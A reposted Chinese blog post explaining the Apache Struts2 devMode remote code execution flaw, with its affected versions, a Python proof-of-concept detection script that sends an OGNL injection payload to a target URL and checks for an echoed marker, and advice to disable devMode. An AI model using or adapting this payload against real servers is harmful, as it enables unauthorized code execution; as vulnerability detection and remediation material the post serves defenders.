博客
关于我
Struts2 devMode远程代码执行漏洞检测利用
阅读量:179 次
发布时间:2019-02-28

本文共 1744 字,大约阅读时间需要 5 分钟。

Apache Struts 2是世界上最流行的Java Web服务器框架之一,当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

什么是devMode?

所谓的devMode模式,看名称也知道,是为Struts2开发人员调试程序准备的,在此模式下可以方便地查看日志等信息。默认情况下,devMode模式是关闭的。不过实际上仍然有很多网站上线的时候就赤裸裸地采用devMode模式,自然面临更大的安全问题,需要尽快修复。

影响范围:

当Struts开启devMode时,该漏洞将影响Struts 2.1.0–2.5.1,通杀Struts2所有版本。

漏洞检测

POC:

#!/usr/bin/env python#coding:utf-8 -*-import sysimport getoptimport urllib import urllib2poc = "debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Adlabgsrc"banner = '''# S2-devMode 检测工具#修复建议 : 关闭devMode模式#使用说明: 检测命令 python s2-devmode.py -u http://localhost:8080/orders/3/xxx/    例如 python s2-adlab.py -u http://223.22.22.22:8080/example/HelloWorld.action帮助信息 python s2-devmode.py -h  '''def usage():	print bannerdef send_poc(geturl,data):	try:		user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' 		headers = { 'User-Agent' : user_agent,				'Cookie'	: ""} 		req = urllib2.Request(geturl+"?"+data, headers=headers) 		response = urllib2.urlopen(req) 		content = response.read()		if  "Adlabgsrc" in content:			print "该网站存在s2-devmode代码执行漏洞,请及时修复"			return True		else:			print "该网站安全"			return False		except urllib2.URLError, e:		#print e.reason		pass	return False	def check_vul(url):	if url.find("http://") | url.find("https://"):								send_poc(url,poc)						if __name__ == '__main__':	opts, args = getopt.getopt(sys.argv[1:], "hu:o:")	for op, value in opts:		if op == "-u":			target_url = value				check_vul(target_url)		elif op == "-h":			usage()

工具检测

下载地址:

修复方案:

关闭devMode:在struts.xml 设置

转载地址:http://gegc.baihongyu.com/

你可能感兴趣的文章
Mysql8在Centos上安装后忘记root密码如何重新设置
查看>>
Mysql8在Windows上离线安装时忘记root密码
查看>>
MySQL8找不到my.ini配置文件以及报sql_mode=only_full_group_by解决方案
查看>>
mysql8的安装与卸载
查看>>
MySQL8,体验不一样的安装方式!
查看>>
MySQL: Host '127.0.0.1' is not allowed to connect to this MySQL server
查看>>
Mysql: 对换(替换)两条记录的同一个字段值
查看>>
mysql:Can‘t connect to local MySQL server through socket ‘/var/run/mysqld/mysqld.sock‘解决方法
查看>>
MYSQL:基础——3N范式的表结构设计
查看>>
MYSQL:基础——触发器
查看>>
Mysql:连接报错“closing inbound before receiving peer‘s close_notify”
查看>>
mysqlbinlog报错unknown variable ‘default-character-set=utf8mb4‘
查看>>
mysqldump 参数--lock-tables浅析
查看>>
mysqldump 导出中文乱码
查看>>
mysqldump 导出数据库中每张表的前n条
查看>>
mysqldump: Got error: 1044: Access denied for user ‘xx’@’xx’ to database ‘xx’ when using LOCK TABLES
查看>>
Mysqldump参数大全(参数来源于mysql5.5.19源码)
查看>>
mysqldump备份时忽略某些表
查看>>
mysqldump实现数据备份及灾难恢复
查看>>
mysqldump数据库备份无法进行操作只能查询 --single-transaction
查看>>